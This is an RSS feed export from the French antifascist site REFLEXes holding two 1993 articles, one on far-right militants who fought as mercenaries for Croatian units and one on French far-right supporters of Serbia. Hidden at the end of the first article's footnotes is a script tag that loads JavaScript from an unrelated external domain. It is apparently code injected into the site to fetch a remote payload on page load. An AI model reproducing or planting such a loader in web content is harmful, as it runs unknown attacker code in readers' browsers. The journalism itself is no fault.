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	<title>REFLEXes &#187; Ex-Yougoslavie</title>
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	<description>EnquÃªtes et analyses sur l&#039;extrÃªme-droite contemporaine</description>
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		<title>Les phalanges du désordre noir</title>
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		<pubDate>Sat, 28 Mar 2009 17:34:16 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
				<category><![CDATA[Les radicaux]]></category>
		<category><![CDATA[Ex-Yougoslavie]]></category>
		<category><![CDATA[Front national (FN)]]></category>
		<category><![CDATA[Gaston Besson]]></category>
		<category><![CDATA[Michel Faci (Michel Leloup)]]></category>
		<category><![CDATA[Nicolas Peucelle]]></category>
		<category><![CDATA[Nouvelle Résistance (NR)]]></category>

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		<description><![CDATA[(Article publié en octobre 1993 dans le n° 40 de la revue REFLEXes) L&#8217;habitude pour les militants d&#8217;extrême droite d&#8217;aller courir les champs de batailles pour aller combattre le communisme est très ancienne. Sans remonter jusqu&#8217;à l&#8217;armée de Denikine ou jusqu&#8217;aux volontaires étrangers dans les divisions SS, on nepeut que constater que la liste des [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><strong><em>(Article publié en octobre 1993 dans le n° 40 de la revue REFLEXes)</em></strong></p>
<p>L&rsquo;habitude pour les militants d&rsquo;extrême droite d&rsquo;aller courir les champs de batailles pour aller combattre le communisme est très ancienne. Sans remonter jusqu&rsquo;à l&rsquo;armée de Denikine ou jusqu&rsquo;aux volontaires étrangers dans les divisions SS, on nepeut que constater que la liste des pays et des conflits ayant attiré des activistes néo-fascistes est longue : Liban (chez les phalangistes), Birmanie (chez les Karens &#8211; une minorité nationale catholique qui affrontent le gouvernement), Angola (dans l&rsquo;Unita de Jonas Savimbi), Afrique du Sud, Rhodésie, Afghanistant, Irak&#8230; et aujourd&rsquo;hui la Croatie</p>
<p>Fin 1991, des mercenaires français s’engagent dans la Légion noire croate (ou Brigade spéciale anti-terroriste) dirigée et financée par un Croate, Mladen (surnommé Mladen le Noir). La Légion et son chef tirent leur surnom de la couleur de leurs uniformes. Mladen aurait vécu sept ans en Suède où il tenait un restaurant avant de rentrer en 1990 en Croatie à Zagreb où il créa une agence de voyage et une entreprise d’import-export de fruits et légumes. Il aurait vendu l’ensemble de ses biens 550 000 DM pour financer son groupe militaire.</p>
<div id="attachment_2295" style="width: 610px" class="wp-caption alignnone"><a href="http://reflexes.samizdat.net/wp-content/uploads/2009/03/phalanges_Croatie.jpg"><img class="wp-image-2295" src="http://reflexes.samizdat.net/wp-content/uploads/2009/03/phalanges_Croatie.jpg" alt="photo tirée du n° 40 de la revue REFLEXes" width="600" height="421" /></a><p class="wp-caption-text">photo tirée du n° 40 de la revue REFLEXes</p></div>
<p>Parmi les Français engagés dans cette Légion noire croate, des militants de l’organisation nationaliste-révolutionnaire Nouvelle Résistance : Nouvelle Résistance était en pleine création pendant l’été 1991, lorsque des militants de la région Rhône-Alpes et de Nice partirent chez les Croates. Les premiers à partir ont été deux Lyonnais : un militant NR Damien Lamotte et un militant NS Stéphane Pezon (alias Le Fauconnier). Ensuite, un groupe de Grenoblois s’est rendu à l’automne en Croatie, dont le leader local de Nouvelle Résistance André-Yves Beck. Des militants du Sud-Est et d’Angers ont aussi combattu dans les rangs croates. Nouvelle Résistance aurait maintenu une présence chez les Croates depuis ce temps-là, même si ses militants ne sont restés pour la plupart que quelques mois. Fin 1991, un de leurs militants, « Pierre André B. » fut grièvement blessé par l’explosion d’un obus et un militant nationaliste-révolutionnaire britannique « David C. » capturé par les troupes serbes, fut torturé et exécuté. En juillet 1992, le membre du bureau exécutif de NR chargé de ce secteur (il aurait combattu lui aussi en Croatie)<sup><a href="https://reflexes.samizdat.net/les-phalanges-du-desordre-noir/#footnote_0_430" id="identifier_0_430" class="footnote-link footnote-identifier-link" title="C&rsquo;est vraisemblablement Andr&eacute;-Yves Beck de Grenoble.">1</a></sup> fait sa tournée d’inspection parmi ses camarades ; à son retour, il est interrogé et gardé à vue pendant seize heures. Il précisera plus tard que chez les militants de Nouvelle Résistance engagés dans les combats en Croatie, certains ont été para, certains ont déjà combattu et l’un d’entre eux se serait même engagé dans le mouvement de guérilla anticommuniste angolais l’UNITA. Des militants tercéristes espagnols et italiens se trouveraient aussi en Croatie dont Alemano (ex-secrétaire général du Front de la Jeunesse, un partisan de la tendance Rauti)<sup><a href="https://reflexes.samizdat.net/les-phalanges-du-desordre-noir/#footnote_1_430" id="identifier_1_430" class="footnote-link footnote-identifier-link" title="Le quotidien La Truffe avait &agrave; l&rsquo;automne 1991 d&eacute;couvert que les mercenaires italiens utilisaient des journaux de petites annonces. Le recrutement des activistes passaient par le mouvement Renaissance Nationale, 71 Palombara Sabina &agrave; Rome, dirig&eacute; par un n&eacute;o-fasciste Andrea Insabato.">2</a></sup>. Les militants nationaux-révolutionnaire participent aussi au soutien humanitaire : en effet, deux des principaux dirigeants de Forum Provence, Thierry Mudry et sa femme Christiane Pigace (par ailleurs prof à l’Institut d’Études politiques d’Aix-Marseille) organisent depuis le début de l’année 1993 des convois humanitaires (pour ramener des blessés) à travers l’association Secours Ambulancier de France et l’association Bosnia qui a participé pendant l’été 1993 à l’opération Mir Sada (la Paix Maintenant) avec l’association lyonnaise Équilibre.</p>
<p>En novembre 1991, Michel Faci se rend en Croatie avec son comparse Nicolas Peucelle (alias Müller<sup><a href="https://reflexes.samizdat.net/les-phalanges-du-desordre-noir/#footnote_2_430" id="identifier_2_430" class="footnote-link footnote-identifier-link" title="Nicolas Peucelle est n&eacute; en 1963 &agrave; Berlin, il aurait &eacute;t&eacute; un des premiers &agrave; p&eacute;n&eacute;trer dans le palais pr&eacute;sidentiel de Ceaucescu en d&eacute;cembre 1989. Un an plus tard, il part avec Faci en Irak puis rentre sans combattre. En f&eacute;vrier 1991, toujours avec Faci, il cr&eacute;e l&rsquo;association des Amis de l&rsquo;Irak. Peucelle &agrave; deux grandes passions : le culte du Dieu Thor et les armes. Il collabore &agrave; des journaux de militaria et collectionne les armes (Ren&eacute; Monzat, Enqu&ecirc;tes sur la droite extr&ecirc;me, op. cit p. 28). Le 6 juillet 1991 &agrave; 2 heures du matin, la remise &agrave; Courbevoie o&ugrave; il entreposait une partie de sa collection explose et blesse gri&egrave;vement un pompier. Combattant en Slov&eacute;nie, il apprend cette histoire et rentre en France se constituer prisonnier. (Lib&eacute;ration 25/07/1991). Malgr&eacute; une inculpation pour blessures involontaires et pour infraction &agrave; la l&eacute;gislation sur les armes et explosifs, il sort tr&egrave;s rapidement de prison, et en novembre 1991, on le retrouve aux c&ocirc;t&eacute;s de Faci en Croatie.">3</a></sup>) pour prendre contact avec le Parti du peuple croate (HSP) et son armée, la Force de défense croate (HOS — Hrvatske Oruzane Snage). Le Parti du Peuple croate est dirigé par Dobroslav Paraga, qui serait un ancien étudiant militant des droits de l’Homme, plusieurs fois emprisonné sous le régime de Tito<sup><a href="https://reflexes.samizdat.net/les-phalanges-du-desordre-noir/#footnote_3_430" id="identifier_3_430" class="footnote-link footnote-identifier-link" title="Selon Lib&eacute;ration du 23 et 24 novembre 1991.">4</a></sup>. Le HSP se revendique l’héritier du mouvement nationaliste Oustacha. Certains des militants du HSP arborent même l’insigne des oustachis. Le mouvement Oustacha a été créé en 1929 par Ante Pavelic qui fut à la tête du nouvel État croate d’avril 1941 à 19456. En totale collaboration avec l’armée allemande, les oustachis participèrent aux persécutions contre les Juifs et aux massacres d’une partie de la population serbe.</p>
<p>Faci et Peucelle sont envoyés avec d’autres combattants français à Vinkovci dans l’unité de Tomislav Madi — qui tire son surnom de Major Chikago du fait qu’il aurait vécu dans cette ville américaine. C’est dans cette unité de 60 à 90 hommes aussi appelée brigade Condor que l’on trouve des volontaires allemands, autrichiens, belges et britanniques. Faci crée un groupe spécial appelé groupe Jacques Doriot. Du nom de cet ancien responsable du Parti communiste français qui fonda en 1936 le Parti populaire français, puis en 1941 la Légion des volontaires français contre le bolchévisme (Légion qui ira combattre sur le front de l’Est avant d’être intégrée au début de 1945 à la division SS Charlemagne). Doriot s’y engage en juillet 1941 et meurt le 22 février 1945 mitraillé par deux avions, probablement allemands<sup><a href="https://reflexes.samizdat.net/les-phalanges-du-desordre-noir/#footnote_4_430" id="identifier_4_430" class="footnote-link footnote-identifier-link" title="Pierre Milza, Le fascisme, p 76-77 et 149-150, &Eacute;ditions MA, Paris, 1986.">5</a></sup>.</p>
<div id="attachment_2296" style="width: 410px" class="wp-caption alignnone"><a href="http://reflexes.samizdat.net/wp-content/uploads/2009/03/groupe-Doriot.jpg"><img class="wp-image-2296" src="http://reflexes.samizdat.net/wp-content/uploads/2009/03/groupe-Doriot-672x1024.jpg" alt="photo tirée du n° 40 de la revue REFLEXes" width="400" height="609" /></a><p class="wp-caption-text">photo tirée du n° 40 de la revue REFLEXes</p></div>
<p>Faci était présent en Croatie pendant la campagne d’automne-hiver 1991-1992 et il y repart pendant l’hiver 1992. En décembre 1992, il est blessé. Une partie de la logistique de la brigade de Faci (en particulier « l’aide humanitaire ») transite par une association de La Garenne-Colombes Slavonie libre. Cette association est dirigée par Michel Faci, son frère Thierry, Bruno Renoult, un vieux complice de Faci et Jean-Michel Gateau. Jean-Michel Gateau est le frère de Georges-Alain Gateau qui fut membre de la FANE (comme Faci) puis du Parti nationaliste français puis se rapprocha du MNR. C’est aussi un familier des pèlerinages de Dixmuide et des repas anniversaires de la naissance de Hitler. Il est aujourd’hui proche du Cercle franco-hispanique.</p>
<p>Le groupe des volontaires étrangers est au repos depuis le début de l’année 1993, le président Franjo Tudjman ayant visiblement décidé de camoufler les unités trop marquées politiquement. En effet, il s’attaque à son aile d’extrême droite : Dobroslav Paraga, le leader du HSP a été inculpé le 18 février 1993 de terrorisme et trois autres responsables de son parti (Ante Dzapic, Mile Dedakovic et Ante Prkacin) ont été accusés d’activités contre l’État croate — dont la création d’une armée, le HOS, qui « a mis en péril l’ordre constitutionnel » dans le but de « prendre le pouvoir civil et militaire en Croatie. » Paraga avait déjà été arrêté le 22 novembre 1991 avec son adjoint Milan Vukovic après que le commandant de la défense de Vukovar (le lieutenant-colonel Mile Dedakovic) eut critiqué le laxisme du gouvernement dans l’organisation de la défense de Vukovar.</p>
<p>Un autre mercenaire français, Gaston Besson, 26 ans, a combattu dans le 6ème bataillon du HOS. Il décrit Chikago comme « <em>un fou furieux qui nous faisait faire n’importe quoi, sortir droit devant, dans les lignes, et accrocher l’ennemi au hasard</em> » et raconte les derniers mois du HOS sur le front : après une dure campagne en novembre et décembre 1991, arrive « <em>l’accalmie, la milice du HOS a commencé à recevoir moins d’armes. À la fin du mois de mars, le QG du HOS à Zagreb a mystérieusement sauté. C’était la fin du HOS. Sur le front, je commandais un groupe de douze hommes. Ça s’est très mal terminé. Tout le groupe a été fauché dans une opération.</em> »<br />
Après la liquidation du HOS, les mercenaires et volontaires étrangers ont été intégrés dans la Garde nationale croate (HVO) où combattait Dominique Gay (militant d’extrême droite du sud de la France, membre du groupe Edelweis, mouvement proche du Nouvel Ordre Européen) quand en juin 1992, il est tué en Bosnie-Herzégovine.</p>
<p>Fin 1991 est aussi formé le premier peloton de volontaires étrangers commandé par un Espagnol, Eduardo Flores. Eduardo Flores<sup><a href="https://reflexes.samizdat.net/les-phalanges-du-desordre-noir/#footnote_5_430" id="identifier_5_430" class="footnote-link footnote-identifier-link" title="Ou Eduardo Roza Runtoflores.">6</a></sup>, 33 ans, est, selon le magazine <em>Searchlight</em><sup><a href="https://reflexes.samizdat.net/les-phalanges-du-desordre-noir/#footnote_6_430" id="identifier_6_430" class="footnote-link footnote-identifier-link" title="In &laquo;Germany&rsquo;s secret balkans plan&raquo; Searchlight n&deg;205 juillet 1992.">7</a></sup>, né à Santa Cruz en Bolivie d’une mère catholique espagnole et d’un père juif hongrois. Flores passe de nombreuses années à Budapest où il est un membre actif des Jeunesses communistes avant de faire son service militaire comme garde frontière à l’aéroport de Budapest. En 1988-1989, il commence à travailler pour le correspondant du journal de droite barcelonais la Vanguardia, Ricardo Estarriol, par ailleurs membre de l’Opus Dei, un ordre catholique très conservateur qui fut un des piliers du franquisme. Estarriol et Flores se rendaient souvent dans les bureaux de l’Opus Dei à Vienne. Flores couvre pour son journal les événements de Hongrie, d’Albanie et de Slovénie. Fin août 1991, il se rend en Croatie et s’engage dans la Garde nationale croate, il se retrouve cantonné près de la frontière serbe dans le village de Slovo, au peuplement d’origine hongroise. Avec un américano-croate Johnny Kosic et un Hongrois du village, ils préparent ensemble leur idée de brigade internationale, créée le 3 octobre 1991 et qui sera tout de suite reconnue par le régime de Tudjman. De nombreux volontaires étrangers vont rejoindre cette unité dont un tireur d’élite portugais Alejandro Cuñan Fernandez, un mercenaire espagnol expert en explosif et en sabotage Alejandro Hernandez Mora et un Gallois, ancien de la Légion étrangère française, Stephen Hannock. De fortes suspicions portent sur l’implication de Hannock et de Flores dans la mort de deux journalistes, l’un suisse, Christian Würtenberg, qui s’était engagé dans la brigade internationale pour enquêter sur des liens possibles entre Flores et les trafics d’armes de drogue, et l’autre britannique, Paul Jenks, qui enquêtait sur la mort de Würtenberg.</p>
<p>En juin 1992, ce groupe est amalgamé à la 108ème brigade bosniaque, forte d’une soixantaine d’hommes, divisée en trois groupes dont un totalement composé d’Allemands, d’Anglais, de Canadiens et de Français. Parmi ces derniers, un Parisien de 25 ans « Robert<sup><a href="https://reflexes.samizdat.net/les-phalanges-du-desordre-noir/#footnote_7_430" id="identifier_7_430" class="footnote-link footnote-identifier-link" title="Vraisemblablement Gaston Besson qui a &eacute;crit avec Marc Charuell son r&eacute;cit de guerre dans les rangs croates Putain de Guerre.">8</a></sup>» qui se serait déjà battu chez les Karens puis au Surinam chez les Bushnegroes et « François », un Français de 31 ans mort le 26 décembre 1992.</p>
<p>Une autre famille de l’extrême droite participe au soutien des Croates : Le Front national.<br />
D’une part le FN fait dans le soutien humanitaire avec l’association Croatie Libre de Cagnes-sur-mer, animée par Daniel Perrier, responsable du FN à Cagnes-sur-mer, et l’avocate Marie-José Bertozzi. Cette association organisa un convoi en juillet 1991, puis en novembre 1991. C’est dans ce dernier convoi que prit place Marie-France Stirbois. En novembre 1992, des sympathisants du FN du Vaucluse (Dominique Blin, ancien militaire d’Orange, Bronzoni de Carpentras et Serge Michel de Vacqueras) organisent un convoi humanitaire ; à leur retour, ils sont interceptés par la douane slovène qui trouve plusieurs armes dont des kalachnikovs et des grenades. Dominique Blin avait donné comme contact l’adresse et le numéro de téléphone de la permanence à Orange de Jacques Bompart, conseiller régional et leader dans le Vaucluse du Front national.<br />
René Monzat, reprenant des informations de <em>Minute</em><sup><a href="https://reflexes.samizdat.net/les-phalanges-du-desordre-noir/#footnote_8_430" id="identifier_8_430" class="footnote-link footnote-identifier-link" title="du 9 octobre 1991.">9</a></sup>, rapporte qu’une dizaine d’étudiants nationalistes et catholiques du Cercle Saint-Louis de St-Nicolas-du Chardonnet avaient quitté la France en direction de la Croatie fin septembre 1991, et même si le convoi était humanitaire, certains n’excluaient pas d’y rester. Monzat rappelle que le Cercle St-Louis organise des activités sportives toutes les semaines, dont du parachutisme sous les ordres d’un ancien de l’OAS, le colonel Chateau-Jobert. Toujours à l’automne 1991, Rémy et Michel Daillet, les deux fils du député CDS de la Manche Jean-Marie Daillet, combattaient dans la Garde nationale croate.<br />
Alain Sanders (Chrétienté-Solidarité et <em>Présent</em>) couvre pour le quotidien catholique intransigeant la guerre en ex-Yougoslavie et s’est régulièrement rendu en Croatie, comme par exemple pour la Toussaint 1991, puis il participa avec Bernard Anthony (dirigeant de Chrétienté-Solidarité et député européen du FN), Thibault de La Tocnaye (par ailleurs membre du comité central du FN et conseiller régional de la région PACA), Jean-Marie Le Chevallier (député européen du FN) et Jacques Barthélémy (un habitué des voyages en Croatie) au convoi humanitaire parti le 19 décembre 1991 d’Avignon. Ils ont rencontré pendant leur voyage Paraga et Mile Dedokavic du HSP. Chrétienté-Solidarité, qui développe trois axes de soutien à la Croatie (parrainage d’enfants, soutien aux blessés et aux combattants<sup><a href="https://reflexes.samizdat.net/les-phalanges-du-desordre-noir/#footnote_9_430" id="identifier_9_430" class="footnote-link footnote-identifier-link" title="Ils recherchaient en juin 1993 une centaine de b&eacute;r&ecirc;ts verts de la L&eacute;gion !">10</a></sup>) a remis ça en juillet 1993 en organisant du 17 juillet au 24 juillet son camp d’été à Crikvenica en Croatie. Si le soutien humanitaire (rebaptisé moral et politique) semble être la première préoccupation de ces cathos intégristes, l’engagement militaire n’est pas exclu par Francis Bergeron : « <em>la Croatie c’est une aventure. C’est en Europe, à quelques heures de voiture, la possibilité pour nos jeunes militants de vivre une aventure utile grâce à l’action caritative ou de vivre une aventure militaire&#8230; Cette expérience-là quand on a vingt ans, il faut avoir eu l’occasion de la faire</em><sup><a href="https://reflexes.samizdat.net/les-phalanges-du-desordre-noir/#footnote_10_430" id="identifier_10_430" class="footnote-link footnote-identifier-link" title="Pr&eacute;sent du 10/06/1993.">11</a></sup>.»</p>
<p>Publié en novembre 1993</p>
<ol class="footnotes"><li id="footnote_0_430" class="footnote">C’est vraisemblablement André-Yves Beck de Grenoble.</li><li id="footnote_1_430" class="footnote">Le quotidien <em>La Truffe</em> avait à l’automne 1991 découvert que les mercenaires italiens utilisaient des journaux de petites annonces. Le recrutement des activistes passaient par le mouvement Renaissance Nationale, 71 Palombara Sabina à Rome, dirigé par un néo-fasciste Andrea Insabato.</li><li id="footnote_2_430" class="footnote">Nicolas Peucelle est né en 1963 à Berlin, il aurait été un des premiers à pénétrer dans le palais présidentiel de Ceaucescu en décembre 1989. Un an plus tard, il part avec Faci en Irak puis rentre sans combattre. En février 1991, toujours avec Faci, il crée l’association des Amis de l’Irak. Peucelle à deux grandes passions : le culte du Dieu Thor et les armes. Il collabore à des journaux de militaria et collectionne les armes (René Monzat, <em>Enquêtes sur la droite extrême</em>, op. cit p. 28). Le 6 juillet 1991 à 2 heures du matin, la remise à Courbevoie où il entreposait une partie de sa collection explose et blesse grièvement un pompier. Combattant en Slovénie, il apprend cette histoire et rentre en France se constituer prisonnier. (<em>Libération</em> 25/07/1991). Malgré une inculpation pour blessures involontaires et pour infraction à la législation sur les armes et explosifs, il sort très rapidement de prison, et en novembre 1991, on le retrouve aux côtés de Faci en Croatie.</li><li id="footnote_3_430" class="footnote">Selon <em>Libération</em> du 23 et 24 novembre 1991.</li><li id="footnote_4_430" class="footnote">Pierre Milza, <em>Le fascisme</em>, p 76-77 et 149-150, Éditions MA, Paris, 1986.</li><li id="footnote_5_430" class="footnote">Ou Eduardo Roza Runtoflores.</li><li id="footnote_6_430" class="footnote">In «Germany’s secret balkans plan» <em>Searchlight</em> n°205 juillet 1992.</li><li id="footnote_7_430" class="footnote">Vraisemblablement Gaston Besson qui a écrit avec Marc Charuell son récit de guerre dans les rangs croates <em>Putain de Guerre</em>.</li><li id="footnote_8_430" class="footnote">du 9 octobre 1991.</li><li id="footnote_9_430" class="footnote">Ils recherchaient en juin 1993 une centaine de bérêts verts de la Légion !</li><li id="footnote_10_430" class="footnote"><em>Présent</em> du 10/06/1993.</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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		<title>Extrême droite : les pro-serbes</title>
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		<pubDate>Sat, 09 Dec 2006 11:16:00 +0000</pubDate>
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		<category><![CDATA[Ex-Yougoslavie]]></category>
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		<category><![CDATA[Serbie]]></category>

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		<description><![CDATA[(Article publié en juin 1993 dans le n° 39 de la revue REFLEXes) La Serbie, comme la Croatie, aura été un bon champ d&#8217;entraînement pour les extrêmes droites françaises. Les positions sont loin d&#8217;être uniformes. Si certains soutiennent les Serbes comme le montre l&#8217;article ci-contre, d&#8217;autres, comme nous pouvons le lire dans Présent et les [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><em><strong>(Article publié en juin 1993 dans le n° 39 de la revue REFLEXes)</strong></em></p>
<p><strong>La Serbie, comme la Croatie, aura été un bon champ d&rsquo;entraînement pour les extrêmes droites françaises. Les positions sont loin d&rsquo;être uniformes. Si certains soutiennent les Serbes comme le montre l&rsquo;article ci-contre, d&rsquo;autres, comme nous pouvons le lire dans </strong><em>Présent </em><strong>et les articles d&rsquo;Alain Sanders, défendent les Bosniaques contre les &laquo;&nbsp;post-communistes&nbsp;&raquo; représentés par Milosevic ; il n&rsquo;en demeure pas moins que les différentes organisations : FN, Nouvelle résistance, PNFE et autres groupuscules, auront eu beaucoup d&rsquo;activités et de prises de contacts dans cette région. En Serbie, l&rsquo;extrême droite a fait près de 30% des voix et son leader Vojislav Seselj est devenu un allié précieux pour Milosevic. Quant aux résistants anti-guerre et aux mouvements politiques démocratiques, ils sont la cible des nationalistes et des fascistes comme le démontre la manifestation réprimée début juin. Draskovic, le responsable du Mouvement serbe pour le renouveau (SPO), emprisonné, voit son regroupement menacé d&rsquo;interdiction. </strong></p>
<p>La communauté internationale, si prompte à réagir quand il a fallu &laquo;&nbsp;récupérer&nbsp;&raquo; le Koweit, a laissé la Bosnie-Herzégovine disparaître en tant qu&rsquo;État. Les casques bleus et l&rsquo;aide humanitaire ont accompagné la purification ethnique jusqu&rsquo;à son terme, voire parfois l&rsquo;ont encouragée (voir <em>No Pasaran  </em><strong>n° 7). Le Nouvel Ordre Mondial s&rsquo;accommode très bien de ce type de conflit local opposant des peuples entre eux. Les tensions nationalistes dans les Pays de l&rsquo;Est ou du Sud marquent le retour de conflits que l&rsquo;on croyait dépassés, mais qui ne peuvent que servir les intérêts des espaces dominants que sont l&rsquo;Europe, le Japon et les États-Unis.</strong></p>
<p>La reconstruction d&rsquo;un mouvement transnational entre les peuples et les individus à partir de communautés d&rsquo;intérêts autour de problématiques sociales devient urgente pour contrer la barbarie qui se développe dans tous les pays du monde.</p>
<p>Fin janvier, <em>l&rsquo;Événement du Jeudi</em> s&rsquo;est fait l&rsquo;écho d&rsquo;un meeting parisien tenu dans une dépendance de l&rsquo;ambassade yougoslave. Appelé par l&rsquo;Association de solidarité serbe de Serbie Herzégovine, son objectif était de mobiliser la communauté serbe de France autour de leurs compatriotes de Bosnie. De telles réunions ne sont pas rares, et chaque communauté fait de même. La nouveauté réside en l&rsquo;apparition à la tribune de vieux briscards de l&rsquo;extrême droite française, alors même qu&rsquo;on les croyait jusqu&rsquo;alors attachés à la défense inconditionnelle de l&rsquo;État croate contre les &laquo;&nbsp;communistes serbes&nbsp;&raquo;. Retournement tactique_? Défense des théories nationales-bolcheviques ? Besoin de publicité ? Et qui étaient les participants ?</p>
<p>D&rsquo;abord Yves Bataille, venu de l&rsquo;organisation Lutte du peuple et de l&rsquo;OEuvre française, qui a collaboré aux cahiers du CDPU de Michel Schneider, aux GNR (Groupes nationalistes révolutionnaires) de Duprat puis écrit dans les revues <em>Solidarités</em> et de celles de la Nouvelle droite. Créateur des revues <em>Lettre de la Francité</em> et <em>Seconde révolution,</em></p>
<p>Nicolas Tandler lui, vient du groupe &laquo;&nbsp;national-européen&nbsp;&raquo; Jeune Europe, influencé par Thiriard, puis d&rsquo;Ordre nouveau. À la fin des années 1970, il est le bras droit de Georges Albertini à la tête de l&rsquo;Institut d&rsquo;histoire sociale. Il a été aussi orateur lors des cycles de l&rsquo;Institut de formation nationale du FN sur les questions sociales.</p>
<p>Arnaud Hautbois, journaliste au <em>Choc du Mois</em>, est également directeur de publication de <em>Patrie-Liberté</em>, le bimensuel de l&rsquo;Alliance populaire.</p>
<p>Le dernier orateur, Jean-François Touzé, est justement le président d&rsquo;Alliance populaire. Il faisait auparavant partie du Comité central du Front national, avant d&rsquo;être exclu avec le groupe Espace nouveau.</p>
<p>Ces quatre activistes qui ne sont pas des débutants ont un point commun : tous collaborent à la revue <em>Nationalisme et République</em>, d&rsquo;orientation nationaliste-révolutionnaire, récemment disparue.</p>
<p>Les orientations qu&rsquo;ils ont développées au cours du meeting n&rsquo;ont rien de nouveau, si l&rsquo;on excepte le cas d&rsquo;Arnaud Hautbois qui a failli s&rsquo;engager dans les forces croates. Prenant appui sur des bases nationalistes françaises, et non européennes, ils partent d&rsquo;un constat : &laquo;&nbsp;Les Serbes sont le peuple le plus francophile d&rsquo;Europe (&#8230;) avec une France française, c&rsquo;est renouer avec notre glorieux passé et nos amitiés traditionnelles&nbsp;&raquo; (Yves Bataille).<br />
Sur le plan géopolitique, l&rsquo;analyse est la suivante : l&rsquo;Allemagne réunifiée est en train de recréer une Mitteleuropa dont elle serait l&rsquo;élément dirigeant en germanisant la Slovénie et en croatisant le sud Slave. La Serbie serait refoulée dans les Balkans.</p>
<p>Dans le même temps, poussée par les États-Unis, la Turquie aurait l&rsquo;occasion de jouer un rôle dans les Balkans, et de renouer avec les nostalgies de l&rsquo;Empire ottoman.<br />
Après avoir servi de tampon au sud-est de l&rsquo;OTAN, elle se voit dévolue une double mission : utiliser l&rsquo;Islam (défense des musulmans de Bosnie) pour empêcher l&rsquo;Iran intégriste d&rsquo;en avoir l&rsquo;exclusivité ; développer une force régionale aux ordres sur l&rsquo;Orient européen et l&rsquo;ex-Asie centrale soviétique, la synthèse turco-islamique succédant au communisme slave dans les Balkans et le sud de l&rsquo;ex-URSS.</p>
<p>La guerre en Yougoslavie serait donc orchestrée par l&rsquo;Allemagne et alimentée par les USA via la Turquie qui ne demande pas autre chose pour étendre son influence.</p>
<p><strong>Conclusion logique</strong> : si la France et l&rsquo;Europe doivent naturellement résister à l&rsquo;Empire américain, &laquo;&nbsp;la France abaissée&nbsp;&raquo; dans l&rsquo;Europe par le poids de l&rsquo;Allemagne doit se relever et défendre ses alliés naturels : les Serbes.</p>
<p>Si Tandler, Bataille, Hautbois et Touzé justifient l&rsquo;impérialisme américain, le pangermanisme et le panturquisme, l&rsquo;impasse est faite sur la politique d&rsquo;extension de la Grande Serbie, appliquée par Milosevic avec la bénédiction de l&rsquo;Académie de Belgrade, qui l&rsquo;a théorisée. La géopolitique a pris le pas sur l&rsquo;idéologie tripale. Ils se séparent ainsi des visions purement &laquo;&nbsp;théoriques&nbsp;&raquo; du reste de l&rsquo;extrême droite. Le quotidien <em>Présent</em> et le Front national, en effet, sont plus préoccupés par la guerre d&rsquo;agression et l&rsquo;extension de ces nouveaux &laquo;&nbsp;bolcheviks&nbsp;&raquo; sur la Bosnie. L&rsquo;hebdomadaire <em>Minute</em>, pour sa part, s&rsquo;il se sentait proche des catholiques croates, ne voit pas de raison de se mêler à une guerre de Bosnie entre &laquo;&nbsp;communistes&nbsp;&raquo; et &laquo;&nbsp;musulmans&nbsp;&raquo;.</p>
<p>Le mouvement Nouvelle résistance, scission majoritaire de Troisième voie, a développé aussi ses propres vues. Très inspirés par Nationalisme et République, avec lesquels ils ont développé des liens très forts, les tercéristes s&rsquo;en séparent par une vision géopolitique ayant pour centre l&rsquo;Europe nation, et non plus la France en tant qu&rsquo;État-nation. Leur parti pris de base pour l&rsquo;autodétermination des peuples, l&rsquo;ethno-différentialisme et l&rsquo;Europe des régions (Nouvelle droite, nous voilà !) leur ont immédiatement fait soutenir la Croatie. En écrit (&laquo;&nbsp;Liberté pour la Croatie !&nbsp;&raquo; titrait <em>Lutte du Peuple</em> n° 1) comme en acte (NR revendique une trentaine de combattants sur le front).</p>
<p>Mais les différents contacts qu&rsquo;ils ont eus depuis en Europe ont fait avancer leurs positions. Les Russes de la revue <em>Den</em>et la branche &laquo;&nbsp;eurasiatique&nbsp;&raquo; du nouveau front de salut national, rassemblant des bruns et des rouges néo-staliniens, ont été prédominants. Dans une interview publiée dans <em>Lutte du Peuple</em> d&rsquo;octobre 1992, Alexandre Douguine précise leur position : &laquo;&nbsp;&#8230; Actuellement, l&rsquo;ennemi géopolitique numéro un des atlantistes est l&rsquo;Orient, donc les Serbes. L&rsquo;ennemi numéro deux est les forces Mitteleuropa. Quelle est alors la manière de répliquer au plan atlantiste, qui joue les Croates (donc les Allemands) contre les Serbes (donc contre les Russes) ? Il est nécessaire de proposer un projet eurasiatique avec toutes les priorités que cela comporte. Il est nécessaire de soutenir les Serbes en premier et les Croates en second, en comprenant les raisons des uns et des autres. Mais pour arriver à un résultat positif, encore faut-il mettre en avant l&rsquo;unité géopolitique de l&rsquo;Eurasie. Ainsi, la revendication impuissante et ridicule de la création d&rsquo;états ethniques, qui peuvent uniquement être asservis au Nouvel ordre mondial, doit être dénoncée.&nbsp;&raquo;</p>
<p>Nouvelle résistance fait l&rsquo;impasse sur la Bosnie. Pas par anti-islamisme, mais par volonté national-laïque de ne pas cautionner un état islamique que le président bosniaque Izetbegovic avait prôné au début des années 1980.<br />
Guerre sainte contre le communisme, soutien de francophiles pour une France plus forte, défense prioritaire de ceux qui sont le mieux à même de garder l&rsquo;équilibre dans le futur empire&#8230; Après quelques temps d&rsquo;hésitation, les orientations classiques des droites radicales se sont adaptées à l&rsquo;événement yougoslave. On pourrait se féliciter de voir ce petit monde s&rsquo;étriper allègrement dans les Balkans, si au milieu ne se trouvaient pas les civils de tous bords et les combattants envoyés malgré eux dans l&rsquo;enfer. À ce sujet, notre position reste très claire :</p>
<p>- soutien aux dizaines de milliers de déserteurs de l&rsquo;espace yougoslave (aux autres aussi évidemment !)</p>
<p>- soutien aux démocrates pacifistes et aux médias libres qui n&rsquo;ont pas cessé leur combat, pour que vive une société multiculturelle, en particulier le quotidien <em>Oslobodjene</em> de Sarajevo qui continue à le payer très cher.</p>
<p>Résistants à la guerre de tous les pays, unissons-nous !</p>
<p><strong>Encart</strong></p>
<p>Bosnie réagir !</p>
